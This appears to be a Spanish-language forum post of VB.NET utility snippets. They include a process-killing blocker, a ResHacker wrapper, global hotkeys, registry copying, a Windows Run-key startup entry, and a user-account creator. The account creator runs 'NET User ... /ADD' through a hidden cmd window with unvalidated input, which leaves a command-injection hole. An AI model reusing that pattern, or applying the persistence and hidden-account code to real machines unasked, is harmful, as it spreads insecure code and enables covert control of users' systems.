MessageBox.Show("Execution watcher finished:" & vbNewLine & vbNewLine & _
"[H:M:S:MS]" & vbNewLine & _
Execution_Watcher.Elapsed.Hours & _
":" & Execution_Watcher.Elapsed.Minutes & _
":" & Execution_Watcher.Elapsed.Seconds & _
":" & Execution_Watcher.Elapsed.Milliseconds & _
vbNewLine & _
vbNewLine & _
"Total H: " & Execution_Watcher.Elapsed.TotalHours & vbNewLine & vbNewLine & _
"Total M: " & Execution_Watcher.Elapsed.TotalMinutes & vbNewLine & vbNewLine & _
"Total S: " & Execution_Watcher.Elapsed.TotalSeconds & vbNewLine & vbNewLine & _
"Total MS: " & Execution_Watcher.ElapsedMilliseconds & vbNewLine, _
"Code execution time", _
MessageBoxButtons.OK, _
MessageBoxIcon.Information, _
MessageBoxDefaultButton.Button1)
Execution_Watcher.Reset()
Else
MessageBox.Show("Execution watcher never started.", _
"Code execution time", _
MessageBoxButtons.OK, _
MessageBoxIcon.Error, _
MessageBoxDefaultButton.Button1)
End If
End Sub
#End Region
Para bloquear procesos.
' [ Block Process Functions ]
'
' // By Elektro H@cker
'
' Examples :
' BlockProcess.Block("cmd") ' Blocks a process
' BlockProcess.Block("firefox.exe") ' Blocks a process
' BlockProcess.Unblock("cmd") ' Unblocks a process
' BlockProcess.Unblock("firefox.exe") ' Unblocks a process
'
' BlockProcess.Unblock_All() ' Reset all values and stop timer
' BlockProcess.Monitor_Interval = 5 * 1000
' BlockProcess.Show_Message_On_Error = True
' BlockProcess.Show_Message_On_blocking = True
' BlockProcess.Message_Text = "I blocked your process: "
' BlockProcess.Message_Title = "Block Process .:: By Elektro H@cker ::."
#Region " Block Process Class "
Public Class BlockProcess
Shared Blocked_APPS As New List(Of String) ' List of process names
Shared WithEvents ProcessMon_Timer As New Timer ' App Monitor timer
''' <summary>
''' Shows a MessageBox if error occurs when blocking the app [Default: False].
''' </summary>
Public Shared Show_Message_On_Error As Boolean = False
''' <summary>
''' Shows a MessageBox when app is being blocked [Default: False].
''' </summary>
Public Shared Show_Message_On_blocking As Boolean = False
''' <summary>
''' Set the MessageBox On blocking Text.
''' </summary>
Public Shared Message_Text As String = "Process blocked: "
''' <summary>
''' Set the MessageBox On blocking Title.
''' </summary>
Public Shared Message_Title As String = "Process Blocked"
''' <summary>
''' Set the App Monitor interval in milliseconds [Default: 200].
''' </summary>
Public Shared Monitor_Interval As Int64 = 200
''' <summary>
''' Add a process name to the process list.
''' </summary>
Public Shared Sub Block(ByVal ProcessName As String)
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Blocked_APPS.Add(ProcessName)
If Not ProcessMon_Timer.Enabled Then ProcessMon_Timer.Enabled = True
End Sub
''' <summary>
''' Delete a process name from the process list.
''' </summary>
Public Shared Sub Unblock(ByVal ProcessName As String)
If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
Blocked_APPS.Remove(ProcessName)
End Sub
''' <summary>
''' Clear the process list and disables the App Monitor.
''' </summary>
Public Shared Sub Unblock_All()
ProcessMon_Timer.Enabled = False
Blocked_APPS.Clear()
End Sub
' Timer Tick Event
Shared Sub ProcessMon_Timer_Tick(sender As Object, e As EventArgs) Handles ProcessMon_Timer.Tick
For Each ProcessName In Blocked_APPS
Dim proc() As Process = Process.GetProcessesByName(ProcessName)
Try
For proc_num As Integer = 0 To proc.Length - 1
proc(proc_num).Kill()
If Show_Message_On_blocking Then
MessageBox.Show(Message_Text & ProcessName & ".exe", Message_Title, MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1)
End If
Next
Catch ex As Exception
If Show_Message_On_Error Then
MsgBox(ex.Message) ' One of the processes can't be killed
End If
End Try
Next
' Set the Timer interval if is different
If Not sender.Interval = Monitor_Interval Then sender.Interval = Monitor_Interval
End Sub
End Class
#End Region
Me he currado esta class para manejar la aplicación ResHacker, para añadir/eliminar/reemplazar/Extraer iconos u otros tipos de recursos de un archivo:
Ejemplos de uso:
ResHacker.All_Resources_Extract("C:\File.exe", ResHacker.ResourceType.ICON)
ResHacker.All_Resources_Extract("C:\File.dll", ResHacker.ResourceType.BITMAP, "C:\Temp\")
ResHacker.MainIcon_Delete("C:\Old.exe", "C:\New.exe")
ResHacker.MainIcon_Extract("C:\Program.exe", "C:\Icon.ico")
ResHacker.MainIcon_Replace("C:\Old.exe", "C:\New.exe", "C:\Icon.ico")
ResHacker.Resource_Add("C:\Old.exe", "C:\New.exe", "C:\Icon.ico", ResHacker.ResourceType.ICON, "Test", 1033)
ResHacker.Resource_Delete("C:\Old.exe", "C:\New.exe", ResHacker.ResourceType.ICON, "MAINICON", 0)
ResHacker.Resource_Extract("C:\Old.exe", "C:\New.exe", ResHacker.ResourceType.ICON, "MAINICON", 0)
ResHacker.Resource_Replace("C:\Old.exe", "C:\New.exe", "C:\Icon.ico", ResHacker.ResourceType.ICON, "MAINICON", 0)
ResHacker.Run_Script("C:\Reshacker.txt")
ResHacker.Check_Last_Error()
#Region " ResHacker class "
Public Class ResHacker
''' <summary>
''' Set the location of ResHacker executable [Default: ".\Reshacker.exe"].
''' </summary>
Public Shared ResHacker_Location As String = ".\ResHacker.exe"
''' <summary>
''' Set the location of ResHacker log file [Default: ".\Reshacker.log"].
''' </summary>
Public Shared ResHacker_Log_Location As String = ResHacker_Location.Substring(0, ResHacker_Location.Length - 4) & ".log"
' Most Known ResourceTypes
''' <summary>
''' The most known ResourceTypes.
''' </summary>
Enum ResourceType
ASFW
AVI
BINARY
BINDATA
BITMAP
CURSOR
DIALOG
DXNAVBARSKINS
FILE
FONT
FTR
GIF
HTML
IBC
ICON
IMAGE
JAVACLASS
JPGTYPE
LIBRARY
MASK
MENU
MUI
ORDERSTREAM
PNG
RCDATA
REGINST
REGISTRY
STRINGTABLE
RT_RCDATA
SHADER
STYLE_XML
TYPELIB
UIFILE
VCLSTYLE
WAVE
WEVT_TEMPLATE
XML
XMLWRITE
End Enum
' ------------------
' MainIcon functions
' ------------------
''' <summary>
''' Extract the main icon from file.
''' </summary>
Public Shared Function MainIcon_Extract(ByVal InputFile As String, _
ByVal OutputIcon As String) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputIcon & """" & ", ICONGROUP, MAINICON, 0"
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Delete the main icon of file.
''' </summary>
Public Shared Function MainIcon_Delete(ByVal InputFile As String, _
ByVal OutputFile As String) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-delete " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", ICONGROUP, MAINICON, 0"
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Replace the main icon of file.
''' </summary>
Public Shared Function MainIcon_Replace(ByVal InputFile As String, _
ByVal OutputFile As String, _
ByVal IconFile As String) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-addoverwrite " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & IconFile & """" & ", ICONGROUP, MAINICON, 0"
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
' ----------------------
' ResourceType functions
' ----------------------
''' <summary>
''' Add a resource to file.
''' </summary>
Public Shared Function Resource_Add(ByVal InputFile As String, _
ByVal OutputFile As String, _
ByVal ResourceFile As String, _
ByVal ResourceType As ResourceType, _
ByVal ResourceName As String, _
Optional ByVal LanguageID As Int32 = 0) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-add " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & ResourceFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Delete a resource from file.
''' </summary>
Public Shared Function Resource_Delete(ByVal InputFile As String, _
ByVal OutputFile As String, _
ByVal ResourceType As ResourceType, _
ByVal ResourceName As String, _
Optional ByVal LanguageID As Int32 = 0) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-delete " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Extract a resource from file.
''' </summary>
Public Shared Function Resource_Extract(ByVal InputFile As String, _
ByVal OutputFile As String, _
ByVal ResourceType As ResourceType, _
ByVal ResourceName As String, _
Optional ByVal LanguageID As Int32 = 0) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Replace a resource from file.
''' </summary>
Public Shared Function Resource_Replace(ByVal InputFile As String, _
ByVal OutputFile As String, _
ByVal ResourceFile As String, _
ByVal ResourceType As ResourceType, _
ByVal ResourceName As String, _
Optional ByVal LanguageID As Int32 = 0) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-addoverwrite " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & ResourceFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
' ----------------------
' All resources function
' ----------------------
''' <summary>
''' Extract all kind of resource from file.
''' </summary>
Public Shared Function All_Resources_Extract(ByVal InputFile As String, _
ByVal ResourceType As ResourceType, _
Optional ByVal OutputDir As String = Nothing) As Boolean
If OutputDir Is Nothing Then
OutputDir = InputFile.Substring(0, InputFile.LastIndexOf("\")) _
& "\" _
& InputFile.Split("\").Last.Substring(0, InputFile.Split("\").Last.LastIndexOf(".")) _
& ".rc"
Else
If OutputDir.EndsWith("\") Then OutputDir = OutputDir.Substring(0, OutputDir.Length - 1)
OutputDir += "\" & InputFile.Split("\").Last.Substring(0, InputFile.Split("\").Last.LastIndexOf(".")) & ".rc"
End If
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputDir & """" & ", " & ResourceType.ToString & ",,"
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
' ---------------
' Script function
' ---------------
''' <summary>
''' Run a ResHacker script file.
''' </summary>
Public Shared Function Run_Script(ByVal ScriptFile As String) As Boolean
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = ResHacker_Location
ResHacker_Info.Arguments = "-script " & """" & ScriptFile & """"
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
' -------------------------
' Check Last Error function
' -------------------------
''' <summary>
''' Return the last operation error if any [False = ERROR, True = Ok].
''' </summary>
Shared Function Check_Last_Error()
Dim Line As String = Nothing
Dim Text As IO.StreamReader = IO.File.OpenText(ResHacker_Log_Location)
Do Until Text.EndOfStream
Line = Text.ReadLine()
If Line.ToString.StartsWith("Error: ") Then
MsgBox(Line)
Return False
End If
Loop
Text.Close()
Text.Dispose()
Return True
End Function
End Class
#End Region
Crear hotkeys globales fuera del form, usando ComboBoxes.
Solo hay que añadir dos comboboxes al form (los valores se añaden al crear la ventana):
(http://img812.imageshack.us/img812/460/prtscrcapturedz.jpg)
(http://img843.imageshack.us/img843/4769/prtscrcapture2cb.jpg)
#Region " Set Global Hotkeys using ComboBoxes "
' [ Set Global Hotkeys using ComboBoxes Example ]
'
' // By Elektro H@cker
'
' Instructions :
' Instructions:
' 1. Add the "GlobalHotkeys Class" Class to the project.
' 2. Add a ComboBox in the Form with the name "ComboBox_SpecialKeys", with DropDownStyle property.
' 3. Add a ComboBox in the Form with the name "ComboBox_NormalKeys", with DropDownStyle property.
Dim SpecialKeys As String() = {"NONE", "ALT", "CTRL", "SHIFT"}
Dim NormalKeys As String() = { _
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", _
"N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", _
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", _
"F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12"}
Dim SpecialKey As String = SpecialKeys(0)
Dim NormalKey As System.Windows.Forms.Keys
Dim WithEvents HotKey_Global As Shortcut
' Form load
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
For Each Item In SpecialKeys
ComboBox_SpecialKeys.Items.Add(Item)
Application.DoEvents()
Next
For Each Item In NormalKeys
ComboBox_NormalKeys.Items.Add(Item)
Application.DoEvents()
Next
ComboBox_SpecialKeys.SelectedItem = SpecialKeys(0)
' ComboBox_NormalKeys.SelectedItem = NormalKeys(0)
End Sub
' ComboBoxes SelectedKeys
Private Sub ComboBoxes_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _
ComboBox_SpecialKeys.SelectedIndexChanged, _
ComboBox_NormalKeys.SelectedIndexChanged
SpecialKey = ComboBox_SpecialKeys.Text
Try : Select Case ComboBox_SpecialKeys.Text
Case "ALT"
NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
HotKey_Global = Shortcut.Create(Shortcut.Modifier.Alt, NormalKey)
Case "CTRL"
NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
HotKey_Global = Shortcut.Create(Shortcut.Modifier.Ctrl, NormalKey)
Case "SHIFT"
NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
HotKey_Global = Shortcut.Create(Shortcut.Modifier.Shift, NormalKey)
Case "NONE"
Dim Number_RegEx As New System.Text.RegularExpressions.Regex("\D")
If Number_RegEx.IsMatch(ComboBox_NormalKeys.Text) Then
NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
Else
NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), (ComboBox_NormalKeys.Text + 96), False)
End If
HotKey_Global = Shortcut.Create(Shortcut.Modifier.None, NormalKey)
End Select
Catch : End Try
End Sub
' Hotkey is pressed
Private Sub HotKey_Press(ByVal s As Object, ByVal e As Shortcut.HotKeyEventArgs) Handles HotKey_Global.Press
MsgBox("hotkey clicked: " & SpecialKey & "+" & NormalKey.ToString)
End Sub
#End Region
#Region " GlobalHotkeys Class "
Class Shortcut
Inherits NativeWindow
Implements IDisposable
Protected Declare Function UnregisterHotKey Lib "user32.dll" (ByVal handle As IntPtr, ByVal id As Integer) As Boolean
Protected Declare Function RegisterHotKey Lib "user32.dll" (ByVal handle As IntPtr, ByVal id As Integer, ByVal modifier As Integer, ByVal vk As Integer) As Boolean
Event Press(ByVal sender As Object, ByVal e As HotKeyEventArgs)
Protected EventArgs As HotKeyEventArgs, ID As Integer
Enum Modifier As Integer
None = 0
Alt = 1
Ctrl = 2
Shift = 4
End Enum
Class HotKeyEventArgs
Inherits EventArgs
Property Modifier As Shortcut.Modifier
Property Key As Keys
End Class
Class RegisteredException
Inherits Exception
Protected Const s As String = "Shortcut combination is in use."
Sub New()
MyBase.New(s)
End Sub
End Class
Private disposed As Boolean
Protected Overridable Sub Dispose(ByVal disposing As Boolean)
If Not disposed Then UnregisterHotKey(Handle, ID)
disposed = True
End Sub
Protected Overrides Sub Finalize()
Dispose(False)
MyBase.Finalize()
End Sub
Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
<DebuggerStepperBoundary()>
Sub New(ByVal modifier As Modifier, ByVal key As Keys)
CreateHandle(New CreateParams)
ID = GetHashCode()
EventArgs = New HotKeyEventArgs With {.Key = key, .Modifier = modifier}
If Not RegisterHotKey(Handle, ID, modifier, key) Then Throw New RegisteredException
End Sub
Shared Function Create(ByVal modifier As Modifier, ByVal key As Keys) As Shortcut
Return New Shortcut(modifier, key)
End Function
Protected Sub New()
End Sub
Protected Overrides Sub WndProc(ByRef m As Message)
Select Case m.Msg
Case 786
RaiseEvent Press(Me, EventArgs)
Case Else
MyBase.WndProc(m)
End Select
End Sub
End Class
#End Region
Detectar que botón del mouse se ha pinchado:
Private Sub Form1_MouseClick(sender As Object, e As MouseEventArgs) Handles MyBase.MouseClick
Select Case e.Button().ToString.ToLower
Case "left" ' Left mouse clicked
MsgBox("Left mouse clicked")
Case "right" ' Right mouse clicked
MsgBox("Right mouse clicked")
Case "middle" ' Middle mouse clicked
MsgBox("Middle mouse clicked")
End Select
End Sub
Modificar la opacidad del Form cuando se arrastra desde la barra de título:
' Set opacity when moving the form from the TitleBar
Protected Overrides Sub DefWndProc(ByRef message As System.Windows.Forms.Message)
' -- Trap left mouse click down on titlebar
If CLng(message.Msg) = &HA1 Then
If Me.Opacity <> 0.5 Then Me.Opacity = 0.5
' -- Trap left mouse click up on titlebar
ElseIf CLng(message.Msg) = &HA0 Then
If Me.Opacity <> 1.0 Then Me.Opacity = 1.0
End If
MyBase.DefWndProc(message)
End Sub
Convertir "&H" a entero:
#Region " Win32Hex To Int "
' [ Win32Hex To Int Function ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(Win32Hex_To_Int(&H2S)) ' Result: 2
' MsgBox(Win32Hex_To_Int(&HFF4)) ' 4084
Private Function Win32Hex_To_Int(ByVal Win32Int As Int32) As Int32
Return CInt(Win32Int)
End Function
#End Region
Convertir un SID al nombre dle usuario o al dominio+nombre
#Region " Get SID UserName "
' [ Get SID UserName ]
'
' Examples:
' MsgBox(Get_SID_UserName("S-1-5-21-148789306-3749789949-2179752015-500")) ' Result: UserName
' MsgBox(Get_SID_UserName("S-1-5-21-148789306-3749789949-2179752015-500")) ' Result: DomainName\UserName
Private Declare Unicode Function ConvertStringSidToSidW Lib "advapi32.dll" (ByVal StringSID As String, ByRef SID As IntPtr) As Boolean
Private Declare Unicode Function LookupAccountSidW Lib "advapi32.dll" (ByVal lpSystemName As String, ByVal SID As IntPtr, ByVal Name As System.Text.StringBuilder, ByRef cbName As Long, ByVal DomainName As System.Text.StringBuilder, ByRef cbDomainName As Long, ByRef psUse As Integer) As Boolean
Shared Function Get_SID_UserName(ByVal SID As String, Optional ByVal Get_Domain_Name As Boolean = False) As String
Const size As Integer = 255
Dim domainName As String
Dim userName As String
Dim cbUserName As Long = size
Dim cbDomainName As Long = size
Dim ptrSID As New IntPtr(0)
Dim psUse As Integer = 0
Dim bufName As New System.Text.StringBuilder(size)
Dim bufDomain As New System.Text.StringBuilder(size)
If ConvertStringSidToSidW(SID, ptrSID) Then
If LookupAccountSidW(String.Empty, _
ptrSID, bufName, _
cbUserName, bufDomain, _
cbDomainName, psUse) Then
userName = bufName.ToString
domainName = bufDomain.ToString
If Get_Domain_Name Then
Return String.Format("{0}\{1}", domainName, userName)
Else
Return userName
End If
Else
Return ""
End If
Else
Return ""
End If
End Function
#End Region
Copia una clave con sus subclaves y valores, a otro lugar del registro.
#Region " Reg Copy Key "
' [ Reg Copy Key Function ]
'
' // By Elektro H@cker
'
' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
' Reg_Copy_Key("HKCU", "Software", "7-Zip", Nothing, "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-Zip"
' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\"
' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", Nothing, Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\"
' Reg_Copy_Key("HKCU", "\Software\", "\7-Zip\", "HKLM", "\Software\", "\7-zip\") ' (Detects bad syntax) Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
Private Function Reg_Copy_Key(ByVal OldRootKey As String, _
ByVal OldPath As String, _
ByVal OldName As String, _
ByVal NewRootKey As String, _
ByVal NewPath As String, _
ByVal NewName As String) As Boolean
If OldPath Is Nothing Then OldPath = ""
If NewRootKey Is Nothing Then NewRootKey = OldRootKey
If NewPath Is Nothing Then NewPath = ""
If NewName Is Nothing Then NewName = ""
If OldRootKey.EndsWith("\") Then OldRootKey = OldRootKey.Substring(0, OldRootKey.Length - 1)
If NewRootKey.EndsWith("\") Then NewRootKey = NewRootKey.Substring(0, NewRootKey.Length - 1)
If OldPath.StartsWith("\") Then OldPath = OldPath.Substring(1, OldPath.Length - 1)
If OldPath.EndsWith("\") Then OldPath = OldPath.Substring(0, OldPath.Length - 1)
If NewPath.StartsWith("\") Then NewPath = NewPath.Substring(1, NewPath.Length - 1)
If NewPath.EndsWith("\") Then NewPath = NewPath.Substring(0, NewPath.Length - 1)
If OldName.StartsWith("\") Then OldName = OldName.Substring(1, OldName.Length - 1)
If OldName.EndsWith("\") Then OldName = OldName.Substring(0, OldName.Length - 1)
If NewName.StartsWith("\") Then NewName = NewName.Substring(1, NewName.Length - 1)
If NewName.EndsWith("\") Then NewName = NewName.Substring(0, NewName.Length - 1)
Dim OrigRootKey As Microsoft.Win32.RegistryKey = Nothing
Dim DestRootKey As Microsoft.Win32.RegistryKey = Nothing
Select Case OldRootKey.ToUpper
Case "HKCR", "HKEY_CLASSES_ROOT" : OrigRootKey = Microsoft.Win32.Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG" : OrigRootKey = Microsoft.Win32.Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER" : OrigRootKey = Microsoft.Win32.Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE" : OrigRootKey = Microsoft.Win32.Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA" : OrigRootKey = Microsoft.Win32.Registry.PerformanceData
Case Else : Return False
End Select
Select Case NewRootKey.ToUpper
Case "HKCR", "HKEY_CLASSES_ROOT" : DestRootKey = Microsoft.Win32.Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG" : DestRootKey = Microsoft.Win32.Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER" : DestRootKey = Microsoft.Win32.Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE" : DestRootKey = Microsoft.Win32.Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA" : DestRootKey = Microsoft.Win32.Registry.PerformanceData
Case Else : Return False
End Select
Dim oldkey As Microsoft.Win32.RegistryKey = OrigRootKey.OpenSubKey(OldPath + "\" + OldName, True)
Dim newkey As Microsoft.Win32.RegistryKey = DestRootKey.OpenSubKey(NewPath, True).CreateSubKey(NewName)
Reg_Copy_SubKeys(oldkey, newkey)
Return True
End Function
Private Sub Reg_Copy_SubKeys(OrigKey As Microsoft.Win32.RegistryKey, DestKey As Microsoft.Win32.RegistryKey)
Dim ValueNames As String() = OrigKey.GetValueNames()
Dim SubKeyNames As String() = OrigKey.GetSubKeyNames()
For i As Integer = 0 To ValueNames.Length - 1
Application.DoEvents()
DestKey.SetValue(ValueNames(i), OrigKey.GetValue(ValueNames(i)))
Next
For i As Integer = 0 To SubKeyNames.Length - 1
Application.DoEvents()
Reg_Copy_SubKeys(OrigKey.OpenSubKey(SubKeyNames(i), True), DestKey.CreateSubKey(SubKeyNames(i)))
Next
End Sub
#End Region
Ejemplo de un comentário de sumário (o Method description):
Public Class MyClass
''' <summary>
''' A description for this variable [Default: False].
''' </summary>
Public Shared MyVariable As Boolean = False
End class
Ejemplo de un Select case para comparar 2 o más strings (el equivalente al OR):
Select Case Variable.ToUpper
Case "HELLO"
MsgBox("You said HELLO.")
Case "BYE", "HASTALAVISTA"
MsgBox("You said BYE or HASTALAVISTA.")
Case Else
MsgBox("You said nothing.")
End Select
Concatenar texto en varios colores en la consola
#Region " Write Color Text "
' [ Write Color Text ]
'
' // By Elektro H@cker
'
' Examples:
' Write_Color_Text("TestString A", ConsoleColor.Cyan)
' Write_Color_Text(" + ", ConsoleColor.Green)
' Write_Color_Text("TestString B" & vbNewLine, ConsoleColor.White, ConsoleColor.DarkRed)
' Console.ReadLine()
Private Sub Write_Color_Text(ByVal Text As String, _
Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _
Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black)
Console.ForegroundColor = ForeColor
Console.BackgroundColor = BackColor
Console.Write(Text)
Console.ForegroundColor = ConsoleColor.White
Console.BackgroundColor = ConsoleColor.Black
End Sub
#End Region
Añade la aplicación actual al inicio de sesión de windows:
#Region " Add Application To Startup "
' [ Add Application To Startup Function ]
'
' // By Elektro H@cker
'
' Examples :
' Add_Application_To_Startup(Startup_User.All_Users)
' Add_Application_To_Startup(Startup_User.Current_User)
' Add_Application_To_Startup(Startup_User.Current_User, "Application Name", """C:\ApplicationPath.exe""" & " -Arguments")
Public Enum Startup_User
Current_User
All_Users
End Enum
Private Function Add_Application_To_Startup(ByVal Startup_User As Startup_User, _
Optional ByVal Application_Name As String = Nothing, _
Optional ByVal Application_Path As String = Nothing) As Boolean
If Application_Name Is Nothing Then Application_Name = Process.GetCurrentProcess().MainModule.ModuleName
If Application_Path Is Nothing Then Application_Path = Application.ExecutablePath
Try
Select Case Startup_User
Case Startup_User.All_Users
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", Application_Name, Application_Path, Microsoft.Win32.RegistryValueKind.String)
Case Startup_User.Current_User
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", Application_Name, Application_Path, Microsoft.Win32.RegistryValueKind.String)
End Select
Catch ex As Exception
' Throw New Exception(ex.Message)
Return False
End Try
Return True
End Function
#End Region
Convierte un array de bytes a string
#Region " Byte-Array To String "
' [ Byte-Array To String Function ]
'
' // By Elektro H@cker
'
' Examples :
' Dim Bytes() As Byte = {84, 101, 115, 116} ' T, e, s, t
' MsgBox(Byte_Array_To_String(Bytes)) ' Result: Test
Private Function Byte_Array_To_String(ByVal Byte_Array As Byte()) As String
Return System.Text.Encoding.ASCII.GetString(Byte_Array)
End Function
#End Region
Convierte un string a aray de bytes
#Region " String to Byte-Array "
' [ String to Byte-Array Function ]
'
' // By Elektro H@cker
'
' Examples :
' Dim Bytes() As Byte = String_to_Byte_Array("Test") ' Byte = {84, 101, 115, 116}
Private Function String_to_Byte_Array(ByVal Text As String) As Byte()
Return System.Text.Encoding.ASCII.GetBytes(Text)
End Function
#End Region
Añade una cuenta de usuario al sistema:
#Region " Add User Account "
' [ Add User Account Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Add_User_Account("New User"))
' Add_User_Account("New User", "MyPass")
Private Function Add_User_Account(ByVal UserName As String, Optional ByVal Password As String = Nothing) As Boolean
Dim Net_User As New Process()
Dim Net_User_Info As New ProcessStartInfo()
Net_User_Info.FileName = "CMD.exe"
Net_User_Info.Arguments = "/C NET User " & "" & UserName & "" & " " & "" & Password & "" & " /ADD"
Net_User_Info.WindowStyle = ProcessWindowStyle.Hidden
Net_User.StartInfo = Net_User_Info
Net_User.Start()
Net_User.WaitForExit()
Select Case Net_User.ExitCode
Case 0 : Return True ' Account created
Case 2 : Return False ' Account already exist
Case Else : Return False ' Unknown error
End Select
End Function
#End Region
Devuelve el formato de una URL de una localización de Google Maps
#Region " Get Google Maps URL "
' [ Get Google Maps URL Function ]
'
' // By Elektro H@cker
